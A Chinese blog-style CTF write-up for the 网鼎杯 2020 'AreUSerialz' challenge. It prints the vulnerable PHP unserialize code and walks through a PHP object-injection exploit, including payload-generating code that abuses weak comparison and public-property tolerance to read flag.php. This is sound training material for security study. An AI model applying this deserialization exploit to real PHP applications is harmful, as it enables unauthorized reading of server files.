[网鼎杯 2020 青龙组]AreUSerialz

50 篇文章 4 订阅
17 篇文章 1 订阅

[网鼎杯 2020 青龙组]AreUSerialz

1.将源代码放到本地php环境中进行调试

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

2.解题思路

1.通过GET方式进行传参,传给变量str;
2.通过is_valid()函数判断进来的数据大于等于32并且小于等于125;
3.通过反序列化将str的字符串转换成对象。 我们想成功读取文件flag.php的话,需要判断以下条件 (1)我们在写保护的函数中,需要满足的条件是变量content不能大于100; (2)要想触发写保护的话,需要满足的条件是public
function process() 中的op == “1”; (3)要想到写保护的话,需要触发__construct函数
(4)__construfct函数,构造函数,当创建对象时自动调用

4.根据上述代码分析,当$op值强比较=\==不等于str(2),弱比较==等于2
(\$this->op === "2")//不等于字符串类型的 2
(\$this->op == "2") //弱等于2 即可为int(2)

3.所以触发__destruct()方法也没关系,正常构造即可

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op = '1';    //这里有问题,后面会讲述到
    protected $filename = 'flag.php';


    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }


    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

$test = new FileHandler;
var_dump(urlencode(serialize($test)));

4.通过URL解码,我们发现了在属性opfilename前面有乱码
在这里插入图片描述
5.使用十六进制进行和查看,可以看到%00%2A%00,因为opfilenameprotected的属性,
在序列化的过程中会被转换成%00*%00,然而浏览器会将%00当成空值,因此无法获得flag

在这里插入图片描述
6.我还以为抓包就能绕过这题,但是思路错了,使用bp或者yakit进行传参后面发现这种方法不得行
在这里插入图片描述
在这里插入图片描述
7.只能利用php7的版本对属性的不敏感绕过,需要纠正前面payload的错,op的应该是整型,及int()的类型,正确的payload如下所示

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    public  $op = 2;
    public $filename = 'flag.php';





}




$test = new FileHandler;
//var_dump(serialize($test));
var_dump(serialize($test));

在这里插入图片描述

在这里插入图片描述

8.查看源代码,即可获得flag
在这里插入图片描述

在这里插入图片描述

  • 5
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值